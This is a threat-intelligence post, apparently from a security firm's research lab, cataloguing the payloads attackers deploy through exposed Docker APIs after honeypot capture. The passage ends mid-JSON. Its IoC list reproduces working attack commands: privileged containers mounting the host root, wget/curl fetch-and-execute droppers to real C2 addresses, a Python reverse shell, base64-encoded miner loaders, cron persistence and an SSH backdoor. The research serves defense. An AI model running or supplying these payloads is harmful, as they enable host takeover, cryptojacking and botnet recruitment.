What Gets Deployed via Exposed Docker APIs

ELLIO Icon
ELLIO Threat Research Lab
|6 min read

Over 1,000 unique IPs scan for exposed Docker APIs every day. A fraction go further. We captured every container creation payload and classified them by monetization strategy.

Screenshot of ELLIO threat intelligence interface showing malicious Docker API exploits from IPs 45.156.87.4 and 187.86.243.141, with security indicators and threat classification tags

What gets deployed on exposed Docker APIs

Exposed Docker APIs on port 2375 are one of the simplest paths to full host compromise on the internet. No credentials needed. No exploit required. A single POST request creates a privileged container with the host filesystem mounted - and everything after that is just a question of what the operator wants to do with access.

Our honeypot network captures these attempts in full: the API calls, the container configurations, the payloads inside. Over the past year, we've collected container creation attempts from 20 distinct operators targeting hundreds of honeypot endpoints. Each operator deploys something different. Together, they form a taxonomy of how exposed Docker infrastructure gets monetized.

The funnel: scanning vs exploitation

Thousands of IPs probe for Docker APIs daily. The typical reconnaissance is a GET to /version or /containers/json - checking whether the API responds and what's running. Most never go further.

But when an operator does deploy, the payload reveals their business model.

The taxonomy

We classified every captured payload into categories based on what the container is designed to do. Here's what we found, ranked by prevalence.

Malware dropper with host escape

The most common pattern. The attacker creates an Alpine container with two critical configuration flags: "Privileged": true and "Binds": ["/:/host"]. This mounts the entire host filesystem into the container and gives root-level access to it.

The container then downloads a shell script or binary from a C2 server and executes it directly on the host via the bind mount. One operator also writes a crontab entry to the host's /var/spool/cron/crontabs/root - establishing persistence that outlives the container.

Reverse shell

Alpine container, bind-mount of the host root at /mnt/root, then a chroot into it followed by a Python3 reverse shell:

python
import socket,os,pty
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("C2_IP",4444))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
pty.spawn("/bin/sh")

Full interactive access to the underlying host. The operator behind this IP also appears in our React2Shell exploitation data - using different entry points (Docker API vs Next.js prototype pollution) against different targets, same C2.

Proxy deployment

Three variants targeting the same market: residential/cloud proxy resale.

Tinyproxy: Installs an HTTP proxy, configures it with Allow 0.0.0.0/0 (accept connections from anyone), then notifies the operator at a callback URL. The operator receives a notification each time a new proxy comes online.

Dante SOCKS proxy: A more sophisticated variant using the Dante SOCKS server on port 1080. After starting the proxy, it phones home via POST /proxy_report with the target's IP address and port. Some variants include ACL rules restricting which IPs can use the proxy - suggesting these are being sold or allocated to specific customers.

microsocks: The simplest approach. A pre-built Docker image (serjs/microsocks) with port 1080 published and RestartPolicy: always. Zero configuration. Deploy and forget.

All three proxy variants trace back to the same C2 infrastructure at a Contabo-hosted IP, suggesting a single operator running multiple proxy toolkits.

SSH backdoor

A Debian 12 container with openssh-server installed, host networking enabled, and a hardcoded root password:

echo 'root:fuckyouopenaisafety' | chpasswd

SSH listens on non-standard port 34567. The container runs with host networking, so the SSH port is directly accessible from the internet. No bind mount needed - the operator gets a shell inside the container, which shares the host's network namespace.

The password choice suggests either frustration with AI safety filters encountered while developing the exploit, or an attempt at humor. Either way, the backdoor is functional.

IoT botnet (Mirai variants)

Multiple operators deploying Mirai variants through Docker containers. The most persistent one tries three different base images in sequence - alpine, busybox, and ubuntu - with the same dropper command, maximizing the chance that at least one image is available in the target's local cache.

One variant (analyzed separately as "0cl/boatnet") includes IoT device exploit scanners and a sophisticated six-layer persistence mechanism. It kills competing botnets by matching their SHA256 hashes.

The Mirai operators use the Docker API as just one delivery vector among many. The same C2 infrastructure also delivers payloads through Huawei UPnP RCE, Hi3510 IP camera exploits, and Tenda router buffer overflows.

Cryptominer

The classic monetization. Download a binary, execute, clean up. One captured payload, base64-decoded:

bash
wget http://C2/ok; chmod 777 ok; sh ok; rm -rf ok; rm -rf ok.*

The rm -rf ok.* at the end removes the dropper and any crash dumps. The miner itself persists in memory.

VPN tunnel

The rarest and most interesting category. Three sub-variants:

WireGuard via Alpine: Installs wireguard-tools, generates a fresh key pair, creates a tunnel configuration with a hardcoded peer public key and endpoint, then brings up the interface. The compromised Docker host becomes a VPN exit node.

WireGuard via pre-built image: Uses the linuxserver/wireguard image with different SERVERURL values per target. The operator is building a distributed VPN network - each compromised host becomes a node.

OpenVPN via pivpn: The most elaborate. Generates a full PKI (Certificate Authority, server cert, client cert), creates an .ovpn client configuration file, and serves it via python3 -m http.server 8080. The operator can download the client config and connect through the compromised host.

These VPN deployments aren't about direct monetization. They're infrastructure - the compromised hosts become exit nodes or tunnel endpoints for other operations.

Defacement

One operator - operating from a Seychelles-registered ASN geolocated to Bern, Switzerland - deploys a netcat loop:

bash
while true; do
    RESPONSE="HTTP/1.1 200 OK\r\nContent-Type: text/plain\r\n\r\nHacked by CritFuckers"
    (printf "$RESPONSE" | nc -lp 38493) || (printf "$RESPONSE" | nc -l 38493) ||
    (printf "$RESPONSE" | nc -L -p 38493) || (printf "$RESPONSE" | nc -lkp 38493)
done

Four nc syntax variants for cross-platform compatibility (GNU, BSD, busybox). No miner. No backdoor. No proxy. Just a calling card served on port 38493.

This IP's MuonFP fingerprint (64240:2-4-8-1-3:1400:7) has MSS 1400 instead of the standard 1460, consistent with operating behind a VPN. The same IP evolved from SSH brute force (January) to Masscan scanning (March) to Docker exploitation (this week) - a progression from reconnaissance to exploitation over three months.

Who's doing this

The 20 source IPs span hosting providers in the Netherlands, United States, Germany, France, Singapore, and Switzerland. Most use Go-http-client or Python-urllib as their HTTP client - automated tooling, not manual interaction.

The most prolific operator triggered 12 different detection tags beyond Docker - including WordPress, Palo Alto GlobalProtect, Jenkins, Laravel Ignition, Prometheus, and Apache path traversal scanning. Docker API exploitation is just one tool in a broader scanning portfolio. These operators don't specialize. They scan for everything and exploit whatever responds.

Fingerprint observations

MuonFP analysis of the Docker exploiter IPs reveals two interesting patterns:

  • Two operators have MSS values below the standard 1460 - one at 1400, another at 1436. Both are consistent with VPN or tunnel overhead reducing the path MTU. These operators are proxying their exploitation traffic through VPNs.
  • Several IPs show both 64240:2-4-8-1-3:1460:7 (standard Linux with full TCP stack) and 1024::: or 65535::: (minimal TCP with no options) from the same source. The latter are Masscan-style SYN scans used for discovery. The same IP scans first (minimal TCP), then exploits (full TCP stack) - two distinct connection profiles from the same host.

The economics

Seven distinct monetization strategies from a single exposed service:

  1. Malware distribution - sell access to compromised hosts
  2. Remote access - interactive shells for manual operations, or deployment of next stages
  3. Proxy resale - sell HTTP/SOCKS proxy access
  4. Botnet recruitment - DDoS-for-hire via Mirai/IoT Botnets
  5. Cryptomining - mine Monero on stolen compute
  6. VPN infrastructure - build distributed tunnel networks
  7. Vandalism - calling cards and bragging rights

The scanning is constant - over a thousand IPs every day. The exploitation is automated. The payloads are diverse because different operators have different business models, but they all start with the same API call: POST /containers/create.

The defense is not exposing port 2375 to the internet. There is no vulnerability to patch. The Docker API does exactly what it's designed to do. The problem is who's asking.

IoCs

C2s

# C2 infrastructure used in Docker container payloads
139.162.20.230    # Malware dropper host (Linode)
198.144.189.80    # Reverse shell listener, port 4444 (ColoCrossing)
207.180.241.26    # Tinyproxy notification callback, port 8080 (Contabo)
171.25.158.78     # Mirai distribution
109.111.55.202    # Cryptominer dropper
176.65.139.71     # kla.sh Mirai dropper (Pfcloud)

Payloads

[
  {
    "Image": "alpine",
    "Cmd": [
      "sh",
      "-c",
      "wget http://139.162.20.230/wget.sh -O /tmp/w.sh && sh /tmp/w.sh"
    ],
    "HostConfig": {
      "Binds": [
        "/:/host"
      ],
      "Privileged": true
    }
  },
  {
    "Image": "busybox:latest",
    "Cmd": [
      "/bin/sh",
      "-c",
      "cd /tmp || cd /var/run; wget http://198.144.189.80/hoaaacool.sh -O nt.sh; curl -sL http://198.144.189.80/hoaaacool.sh -o nt.sh; chmod +x nt.sh; ./nt.sh"
    ],
    "HostConfig": {
      "Binds": [
        "/:/mnt/host"
      ],
      "Privileged": true,
      "NetworkMode": "host"
    }
  },
  {
    "Image": "alpine",
    "Cmd": [
      "/bin/sh",
      "-c",
      "chroot /mnt/root /bin/sh -c 'python3 -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"198.144.189.80\",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(\"/bin/sh\")''"
    ],
    "HostConfig": {
      "Binds": [
        "/:/mnt/root"
      ]
    }
  },
  {
    "Image": "alpine",
    "Cmd": [
      "sh",
      "-c",
      "\napk add --no-cache tinyproxy curl && echo 'Allow 0.0.0.0/0' >> /etc/tinyproxy/tinyproxy.conf && tinyproxy & curl 'http://207.180.241.26:8080/notify'\n"
    ],
    "HostConfig": {
      "AutoRemove": true,
      "NetworkMode": "host"
    }
  },
  "{\n\t\t\"Image\": \"alpine\",\n\t\t\"Cmd\": [\"/bin/sh\", \"-c\", \"chroot /mnt/host /bin/sh -c \"wget http://171.25.158.78/bins/x86_64 -O x86_64 || curl -s http://171.25.158.78/bins/x86_64 -o x86_64; chmod 777 x86_64; ./x86_64 docker\"\"],\n\t\t\"HostConfig\": {\n\t\t\t\"Binds\": [\"/:/mnt/host\"],\n\t\t\t\"NetworkMode\": \"host\"\n\t\t}\n\t}",
  {
    "Image": "alpine",
    "Cmd": [
      "/bin/sh",
      "-c",
      "sh -c \"curl -s http://207.180.241.26:8000/install_proxy.sh || wget -q -O- http://207.180.241.26:8000/install_proxy.sh | sh\""
    ],
    "HostConfig": {
      "AutoRemove": true
    }
  },
  {
    "Cmd": [
      "sh",
      "-c",
      "echo d2dldCBodHRwOi8vMTA5LjExMS41NS4yMDIvb2s7IGN1cmwgLU8gaHR0cDovLzEwOS4xMTEuNTUuMjAyL29rOyBjaG1vZCA3Nzcgb2s7IHNoIG9rOyBybSAtcmYgb2s7IHJtIC1yZiBvay4q | base64 -d | sh"
    ],
    "HostConfig": {
      "Binds": [
        "/:/host"
      ],
      "Privileged": true
    },
    "Image": "alpine"
  },
  {
    "Image": "alpine:latest",
    "Cmd": [
      "/bin/sh",
      "-c",
      "apk update && apk add --no-cache wireguard-tools curl ca-certificates > /dev/null 2>&1 && update-ca-certificates > /dev/null 2>&1 && wg genkey | tee /tmp/priv | wg pubkey > /tmp/pub && CLIENT_IP=$(shuf -i 100-250 -n1) && PUB=$(cat /tmp/pub | tr -d '\\n') && \n# 1. CALLBACK IMMÉDIAT (avant toute connerie de tunnel)\ncurl -m 10 --local-port 80 http://207.180.241.26:5000/receive \\\n     -H \"Content-Type: application/json\" \\\n     -d '{\\\"public_key\\\":\\\"'$PUB'\\\",\\\"ip\\\":\\\"'$CLIENT_IP'\\\"}' || true && \n# 2. On monte le tunnel EN ARRIÈRE-PLAN pour ne pas bloquer\ncat > /etc/wireguard/wg0.conf <<EOF\n[Interface]\nPrivateKey = $(cat /tmp/priv)\nAddress = 10.66.66.$CLIENT_IP/32\nDNS = 1.1.1.1\n[Peer]\nPublicKey = 1zySWa0UYGy5Cao4hz7kCGPACMRHD6ZPV3F+zBzACGQ=\nEndpoint = 207.180.241.26:51820\nAllowedIPs = 0.0.0.0/0\nPersistentKeepalive = 25\nEOF\nwg-quick up wg0 &\n\n# 3. On reste vivant longtemps (le & permet au sleep de tourner)\nsleep 3600"
    ],
    "HostConfig": {
      "AutoRemove": false,
      "NetworkMode": "host",
      "Privileged": true
    }
  },
  {
    "Image": "serjs/microsocks",
    "HostConfig": {
      "PortBindings": {
        "1080/tcp": [
          {
            "HostPort": "1080"
          }
        ]
      },
      "RestartPolicy": {
        "Name": "always"
      }
    }
  },
  {
    "Image": "alpine:latest",
    "Cmd": [
      "/bin/sh",
      "-c",
      "cd /tmp; rm -f f; wget -q -O f http://176.65.139.71/kla.sh || curl -s -o f http://176.65.139.71/kla.sh || busybox wget -q -O f http://176.65.139.71/kla.sh; chmod 777 f; sh f"
    ],
    "HostConfig": {
      "Privileged": true,
      "Binds": [
        "/:/host"
      ],
      "NetworkMode": "host"
    }
  },
  {
    "Image": "busybox",
    "Cmd": [
      "/bin/sh",
      "-c",
      "cd /tmp; rm -f f; wget -q -O f http://176.65.139.71/kla.sh || curl -s -o f http://176.65.139.71/kla.sh || busybox wget -q -O f http://176.65.139.71/kla.sh; chmod 777 f; sh f"
    ],
    "HostConfig": {
      "Privileged": true,
      "Binds": [
        "/:/host"
      ],
      "NetworkMode": "host"
    }
  },
  {
    "Image": "ubuntu:latest",
    "Cmd": [
      "/bin/sh",
      "-c",
      "cd /tmp; rm -f f; wget -q -O f http://176.65.139.71/kla.sh || curl -s -o f http://176.65.139.71/kla.sh || busybox wget -q -O f http://176.65.139.71/kla.sh; chmod 777 f; sh f"
    ],
    "HostConfig": {
      "Privileged": true,
      "Binds": [
        "/:/host"
      ],
      "NetworkMode": "host"
    }
  },
  {
    "Image": "alpine:latest",
    "Cmd": [
      "/bin/sh",
      "-c",
      "cd /tmp; rm -f klaus; wget -q -O klaus http://176.65.139.71/kla.sh || curl -s -o klaus http://176.65.139.71/kla.sh || busybox wget -q -O klaus http://176.65.139.71/kla.sh; chmod 777 klaus; sh klaus"
    ],
    "HostConfig": {
      "Privileged": true,
      "Binds": [
        "/:/host"
      ],
      "NetworkMode": "host"
    }
  },
  {
    "Image": "busybox",
    "Cmd": [
      "/bin/sh",
      "-c",
      "cd /tmp; rm -f klaus; wget -q -O klaus http://176.65.139.71/kla.sh || curl -s -o klaus http://176.65.139.71/kla.sh || busybox wget -q -O klaus http://176.65.139.71/kla.sh; chmod 777 klaus; sh klaus"
    ],
    "HostConfig": {
      "Privileged": true,
      "Binds": [
        "/:/host"
      ],
      "NetworkMode": "host"
    }
  },
  {
    "Image": "ubuntu:latest",
    "Cmd": [
      "/bin/sh",
      "-c",
      "cd /tmp; rm -f klaus; wget -q -O klaus http://176.65.139.71/kla.sh || curl -s -o klaus http://176.65.139.71/kla.sh || busybox wget -q -O klaus http://176.65.139.71/kla.sh; chmod 777 klaus; sh klaus"
    ],
    "HostConfig": {
      "Privileged": true,
      "Binds": [
        "/:/host"
      ],
      "NetworkMode": "host"
    }
  },
  {
    "Image": "debian:12-slim",
    "AttachStdin": true,
    "AttachStdout": true,
    "AttachStderr": true,
    "Tty": true,
    "OpenStdin": true,
    "Cmd": [
      "/bin/bash",
      "-c",
      " apt update && apt install -y openssh-server procps &&  echo 'root:fuckyouopenaisafety' | chpasswd &&  sed -i 's/#Port 22/Port 34567/g' /etc/ssh/sshd_config &&  echo 'PermitRootLogin yes' >> /etc/ssh/sshd_config &&  /usr/sbin/sshd -D "
    ],
    "Entrypoint": "/bin/bash",
    "HostConfig": {
      "NetworkMode": "host"
    }
  },
  {
    "Cmd": [
      "sh",
      "-c",
      "echo Z2V0IGh0dHA6Ly8xMDkuMTExLjU1LjIwMi9kb2NrZXI7IGN1cmwgLU8gaHR0cDovLzEwOS4xMTEuNTUuMjAyL2RvY2tlcjsgY2htb2QgNzc3IGRvY2tlcjsgc2ggZG9ja2VyOyBybSAtcmYgZG9ja2VyOyBybSAtcmYgZG9ja2VyLio= | base64 -d | sh"
    ],
    "HostConfig": {
      "Binds": [
        "/:/host"
      ],
      "Privileged": true
    },
    "Image": "alpine"
  },
  {
    "Image": "alpine:latest",
    "Cmd": [
      "/bin/sh",
      "-c",
      "apk update && apk add --no-cache wireguard-tools curl ca-certificates > /dev/null 2>&1 && update-ca-certificates > /dev/null 2>&1 && wg genkey | tee /tmp/priv | wg pubkey > /tmp/pub && CLIENT_IP=$(shuf -i 100-250 -n1) && cat > /etc/wireguard/wg0.conf <<EOF\n[Interface]\nPrivateKey = $(cat /tmp/priv)\nAddress = 10.66.66.$CLIENT_IP/32\nDNS = 1.1.1.1\n\n[Peer]\nPublicKey = 1zySWa0UYGy5Cao4hz7kCGPACMRHD6ZPV3F+zBzACGQ=\nEndpoint = 207.180.241.26:51820\nAllowedIPs = 0.0.0.0/0\nPersistentKeepalive = 25\nEOF\nwg-quick up wg0 && sleep 8 && \\  # on attend que le tunnel soit vraiment up\nPUB=$(tr -d '\\n' < /tmp/pub) && echo \"Envoi callback pour $PUB...\" && curl -m 20 --retry 3 --fail http://207.180.241.26:5000/receive \\\n     -H \"Content-Type: application/json\" \\\n     -d '{\\\"public_key\\\":\\\"'$PUB'\\\",\\\"ip\\\":\\\"'$CLIENT_IP'\\\"}' && echo \"Callback envoyé !\" && sleep 600 || echo \"Callback échoué\" "
    ],
    "HostConfig": {
      "AutoRemove": false,
      "NetworkMode": "host",
      "Privileged": true
    }
  },
  "{\n\t\t\"Image\": \"alpine\",\n\t\t\"Cmd\": [\"/bin/sh\", \"-c\", \"chroot /mnt/host /bin/sh -c \"wget http://171.25.158.78/bins/x86_64 2>&1\"\"],\n\t\t\"HostConfig\": { \"Binds\": [\"/:/mnt/host\"] }\n\t}",
  {
    "Image": "alpine:latest",
    "HostConfig": {
      "Privileged": true,
      "NetworkMode": "host",
      "AutoRemove": true
    },
    "Cmd": [
      "sh",
      "-c",
      "wget -qO /tmp/svc http://161.97.173.12:801/get && chmod +x /tmp/svc && /tmp/svc &"
    ]
  },
  {
    "Image": "alpine",
    "Cmd": [
      "/bin/sh",
      "-c",
      "cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://220.158.232.218/bins/loader.sh; chmod 777 loader.sh; sh loader.sh; tftp 220.158.232.218 -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp2.sh -g 220.158.232.218; chmod 777 tftp2.sh; sh tftp2.sh; rm -rf *"
    ],
    "Binds": [
      "/:/mnt"
    ]
  },
  "{\"Image\": \"alpine\", \"Cmd\": [\"sh\", \"-c\", \"echo d2hpbGUgdHJ1ZTsgZG8KICAgIFJFU1BPTlNFPSJIVFRQLzEuMSAyMDAgT0tcclxuQ29udGVudC1UeXBlOiB0ZXh0L3BsYWluXHJcbkNvbnRlbnQtTGVuZ3RoOiAyMVxyXG5cclxuSGFja2VkIGJ5IENyaXRGdWNrZXJzIgogICAgKHByaW50ZiAiJFJFU1BPTlNFIiB8IG5jIC1scCAzODQ5MykgfHwgKHByaW50ZiAiJFJFU1BPTlNFIiB8IG5jIC1sIDM4NDkzKSB8fCAocHJpbnRmICIkUkVTUE9OU0UiIHwgbmMgLUwgLXAgMzg0OTMpIHx8IChwcmludGYgIiRSRVNQT05TRSIgfCBidXN5Ym94IG5jIC1scCAzODQ5MykgfHwgKHByaW50ZiAiJFJFU1BPTlNFIiB8IGJ1c3lib3ggbmMgLWwgMzg0OTMpIHx8IChweXRob24gLWMgImltcG9ydCBzb2NrZXQ7cz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVUNiBpZiBzb2NrZXQuaGFzX2lwdjYgZWxzZSBzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pO3Muc2V0c29ja29wdChzb2NrZXQuU09MX1NPQ0tFVCxzb2NrZXQuU09fUkVVU0VBRERSLDEpO3MuYmluZCgoJycsMzg0OTMpKTtzLmxpc3RlbigxKTt3aGlsZSBUcnVlOmMsYT1zLmFjY2VwdCgpO2Muc2VuZChiJ0hUVFAvMS4xIDIwMCBPS1xyXG5Db250ZW50LVR5cGU6IHRleHQvcGxhaW5cclxuQ29udGVudC1MZW5ndGg6IDIxXHJcblxyXG5IYWNrZWVkIGJ5IENyaXRGdWNrZXJzJyk7Yy5jbG9zZSgpIikgfHwgKHB5dGhvbjMgLWMgImltcG9ydCBzb2NrZXQ7cz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVUNiBpZiBzb2NrZXQuaGFzX2lwdjYgZWxzZSBzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pO3Muc2V0c29ja29wdChzb2NrZXQuU09MX1NPQ0tFVCxzb2NrZXQuU09fUkVVU0VBRERSLDEpO3MuYmluZCgoJycsMzg0OTMpKTtzLmxpc3RlbigxKTt3aGlsZSBUcnVlOmMsYT1zLmFjY2VwdCgpO2Muc2VuZChiJ0hUVFAvMS4xIDIwMCBPS1xyXG5Db250ZW50LVR5cGU6IHRleHQvcGxhaW5cclxuQ29udGVudC1MZW5ndGg6ID",
  {
    "Image": "alpine:latest",
    "Cmd": [
      "/bin/sh",
      "-c",
      "apk update && apk add --no-cache wireguard-tools curl > /dev/null 2>&1 && wg genkey | tee /tmp/priv | wg pubkey > /tmp/pub && CLIENT_IP=$(shuf -i 100-250 -n1) && cat > /etc/wireguard/wg0.conf <<EOF\n[Interface]\nPrivateKey = $(cat /tmp/priv)\nAddress = 10.66.66.$CLIENT_IP/32\nDNS = 1.1.1.1\n\n[Peer]\nPublicKey = 1zySWa0UYGy5Cao4hz7kCGPACMRHD6ZPV3F+zBzACGQ=\nEndpoint = 207.180.241.26:51820\nAllowedIPs = 0.0.0.0/0\nPersistentKeepalive = 25\nEOF\nwg-quick up wg0 && PUB=$(tr -d '\\n' < /tmp/pub) && curl -m 12 -X POST http://207.180.241.26:5000/receive      -H \"Content-Type: application/json\"      -d '{\\\"public_key\\\":\\\"'$PUB'\\\"}' && sleep 600"
    ],
    "HostConfig": {
      "AutoRemove": true,
      "NetworkMode": "host",
      "Privileged": true
    }
  },
  {
    "Image": "alpine:latest",
    "Cmd": [
      "/bin/sh",
      "-c",
      "cd /tmp; rm -f f; wget -q -O f http://176.65.139.71/bins/fetch.sh || curl -s -o f http://176.65.139.71/bins/fetch.sh || busybox wget -q -O f http://176.65.139.71/bins/fetch.sh; chmod 777 f; sh f"
    ],
    "HostConfig": {
      "Privileged": true,
      "Binds": [
        "/:/host"
      ],
      "NetworkMode": "host"
    }
  },
  {
    "Image": "busybox",
    "Cmd": [
      "/bin/sh",
      "-c",
      "cd /tmp; rm -f f; wget -q -O f http://176.65.139.71/bins/fetch.sh || curl -s -o f http://176.65.139.71/bins/fetch.sh || busybox wget -q -O f http://176.65.139.71/bins/fetch.sh; chmod 777 f; sh f"
    ],
    "HostConfig": {
      "Privileged": true,
      "Binds": [
        "/:/host"
      ],
      "NetworkMode": "host"
    }
  },
  {
    "Image": "ubuntu:latest",
    "Cmd": [
      "/bin/sh",
      "-c",
      "cd /tmp; rm -f f; wget -q -O f http://176.65.139.71/bins/fetch.sh || curl -s -o f http://176.65.139.71/bins/fetch.sh || busybox wget -q -O f http://176.65.139.71/bins/fetch.sh; chmod 777 f; sh f"
    ],
    "HostConfig": {
      "Privileged": true,
      "Binds": [
        "/:/host"
      ],
      "NetworkMode": "host"
    }
  },
  {
    "Cmd": [
      "/bin/sh",
      "-c",
      "id; wget http://171.25.158.78/bins/x86_64; chmod 777 x86_64; ./x86_64 meta64"
    ],
    "HostConfig": {
      "Binds": [
        "/:/mnt/host"
      ]
    },
    "Image": "alpine"
  },
  {
    "Cmd": [
      "sh",
      "-c",
      "echo d2dldCBodHRwOi8vMTA5LjExMS41NS4yMDIvZG9ja2VyOyBjdXJsIC1PIGh0dHA6Ly8xMDkuMTExLjU1LjIwMi9kb2NrZXI7IGNobW9kIDc3NyBkb2NrZXI7IHNoIGRvY2tlcjsgcm0gLXJmIGRvY2tlcjsgcm0gLXJmIGRvY2tlci4q | base64 -d | sh"
    ],
    "HostConfig": {
      "Binds": [
        "/:/host"
      ],
      "Privileged": true
    },
    "Image": "alpine"
  },
  {
    "Image": "alpine:latest",
    "Cmd": [
      "/bin/sh",
      "-c",
      "\napk update && apk add --no-cache wireguard-tools curl > /dev/null 2>&1 &&\nwg genkey | tee priv | wg pubkey > pub\nCLIENT_IP=$(shuf -i 100-250 -n1)\n\ncat > wg0.conf <<EOF\n[Interface]\nPrivateKey = $(cat priv)\nAddress = 10.66.66.$CLIENT_IP/32\nDNS = 1.1.1.1\n\n[Peer]\nPublicKey = 1zySWa0UYGy5Cao4hz7kCGPACMRHD6ZPV3F+zBzACGQ=\nEndpoint = 207.180.241.26:51820\nAllowedIPs = 0.0.0.0/0\nPersistentKeepalive = 25\nEOF\n\nwg-quick up wg0 &\n\ncurl -m 12 -X POST http://207.180.241.26:5000/receive      -H \"Content-Type: application/json\"      -d '{\"public_key\":\"$(cat pub)\"}'\n\nsleep 600\n"
    ],
    "HostConfig": {
      "AutoRemove": true,
      "NetworkMode": "host",
      "Privileged": true
    }
  },
  {
    "Image": "alpine",
    "Cmd": [
      "/bin/sh",
      "-c",
      "apk add --no-cache wget curl; cd /tmp; wget -q http://139.162.20.230/wget.sh -O w.sh; sh w.sh; echo '* * * * * wget -q http://139.162.20.230/wget.sh -O- | sh' >> /host/var/spool/cron/crontabs/root"
    ],
    "HostConfig": {
      "Binds": [
        "/:/host"
      ],
      "Privileged": true,
      "NetworkMode": "host"
    }
  },
  {
    "Image": "debian:12-slim",
    "AttachStdin": true,
    "AttachStdout": true,
    "AttachStderr": true,
    "Tty": true,
    "OpenStdin": true,
    "Cmd": [
      "/bin/bash",
      "-c",
      "\napt update && apt install -y openssh-server procps && \necho 'root:fuckyouopenaisafety' | chpasswd && \necho 'PermitRootLogin yes' >> /etc/ssh/sshd_config && \n/usr/sbin/sshd -D\n"
    ],
    "HostConfig": {
      "NetworkMode": "host"
    },
    "Entrypoint": "/bin/bash"
  },
  "{\n\t\t\"Image\": \"alpine\",\n\t\t\"Cmd\": [\"/bin/sh\", \"-c\", \"chroot /mnt/host /bin/sh -c \"wget http://171.25.158.78/bins/x86_64; chmod 777 x86_64; ./x86_64 docker\"\"],\n\t\t\"HostConfig\": {\n\t\t\t\"Binds\": [\"/:/mnt/host\"]\n\t\t}\n\t}",
  {
    "Image": "linuxserver/wireguard",
    "HostConfig": {
      "Privileged": true,
      "NetworkMode": "host",
      "CapAdd": [
        "NET_ADMIN",
        "SYS_MODULE"
      ],
      "Binds": [
        "/lib/modules:/lib/modules"
      ]
    },
    "Env": [
      "PEERS=1",
      "PEERDNS=auto",
      "SERVERURL=HONEYPOT_IP"
    ]
  },
  {
    "Image": "linuxserver/wireguard",
    "HostConfig": {
      "Privileged": true,
      "NetworkMode": "host",
      "CapAdd": [
        "NET_ADMIN",
        "SYS_MODULE"
      ],
      "Binds": [
        "/lib/modules:/lib/modules"
      ]
    },
    "Env": [
      "PEERS=1",
      "PEERDNS=auto",
      "SERVERURL=HONEYPOT_IP"
    ]
  },
  {
    "Image": "linuxserver/wireguard",
    "HostConfig": {
      "Privileged": true,
      "NetworkMode": "host",
      "CapAdd": [
        "NET_ADMIN",
        "SYS_MODULE"
      ],
      "Binds": [
        "/lib/modules:/lib/modules"
      ]
    },
    "Env": [
      "PEERS=1",
      "PEERDNS=auto",
      "SERVERURL=HONEYPOT_IP"
    ]
  },
  {
    "Image": "linuxserver/wireguard",
    "HostConfig": {
      "Privileged": true,
      "NetworkMode": "host",
      "CapAdd": [
        "NET_ADMIN",
        "SYS_MODULE"
      ],
      "Binds": [
        "/lib/modules:/lib/modules"
      ]
    },
    "Env": [
      "PEERS=1",
      "PEERDNS=auto",
      "SERVERURL=HONEYPOT_IP"
    ]
  },
  {
    "Image": "linuxserver/wireguard",
    "HostConfig": {
      "Privileged": true,
      "NetworkMode": "host",
      "CapAdd": [
        "NET_ADMIN",
        "SYS_MODULE"
      ],
      "Binds": [
        "/lib/modules:/lib/modules"
      ]
    },
    "Env": [
      "PEERS=1",
      "PEERDNS=auto",
      "SERVERURL=HONEYPOT_IP"
    ]
  },
  {
    "Image": "linuxserver/wireguard",
    "HostConfig": {
      "Privileged": true,
      "NetworkMode": "host",
      "CapAdd": [
        "NET_ADMIN",
        "SYS_MODULE"
      ],
      "Binds": [
        "/lib/modules:/lib/modules"
      ]
    },
    "Env": [
      "PEERS=1",
      "PEERDNS=auto",
      "SERVERURL=4.198.150.138"
    ]
  },
  {
    "Image": "linuxserver/wireguard",
    "HostConfig": {
      "Privileged": true,
      "NetworkMode": "host",
      "CapAdd": [
        "NET_ADMIN",
        "SYS_MODULE"
      ],
      "Binds": [
        "/lib/modules:/lib/modules"
      ]
    },
    "Env": [
      "PEERS=1",
      "PEERDNS=auto",
      "SERVERURL=HONEYPOT_IP"
    ]
  },
  {
    "Image": "linuxserver/wireguard",
    "HostConfig": {
      "Privileged": true,
      "NetworkMode": "host",
      "CapAdd": [
        "NET_ADMIN",
        "SYS_MODULE"
      ],
      "Binds": [
        "/lib/modules:/lib/modules"
      ]
    },
    "Env": [
      "PEERS=1",
      "PEERDNS=auto",
      "SERVERURL=HONEYPOT_IP"
    ]
  },
  {
    "Image": "pivpn/pivpn",
    "HostConfig": {
      "Privileged": true,
      "NetworkMode": "host"
    },
    "Cmd": [
      "sh",
      "-c",
      "ovpn_genconfig -u udp://HONEYPOT_IP:1194 && echo 'pass' | ovpn_initpki nopass && easyrsa build-client-full client1 nopass && ovpn_getclient client1 > /client.ovpn && python3 -m http.server 8080"
    ]
  },
  {
    "Image": "pivpn/pivpn",
    "HostConfig": {
      "Privileged": true,
      "NetworkMode": "host"
    },
    "Cmd": [
      "sh",
      "-c",
      "ovpn_genconfig -u udp://HONEYPOT_IP:1194 && echo 'pass' | ovpn_initpki nopass && easyrsa build-client-full client1 nopass && ovpn_getclient client1 > /client.ovpn && python3 -m http.server 8080"
    ]
  },
  {
    "Image": "kylemanna/openvpn",
    "HostConfig": {
      "Privileged": true,
      "NetworkMode": "host",
      "Binds": [
        "/:/mnt/host:ro"
      ],
      "RestartPolicy": {
        "Name": "always"
      }
    }
  },
  {
    "Image": "alpine",
    "Cmd": [
      "sh",
      "-c",
      "apk add --no-cache dante-server > /dev/null 2>&1 && echo 'internal: 0.0.0.0 port=1080' >> /etc/sockd.conf && echo 'socksmethod: none' >> /etc/sockd.conf && sockd -D > /dev/null 2>&1 & curl -s -m 5 -X POST http://207.180.241.26:8000/proxy_report -d 'ip=HONEYPOT_IP&port=1080'"
    ],
    "HostConfig": {
      "PortBindings": {
        "1080/tcp": [
          {
            "HostPort": "1080"
          }
        ]
      },
      "Privileged": true
    }
  },
  {
    "Image": "alpine",
    "Cmd": [
      "sh",
      "-c",
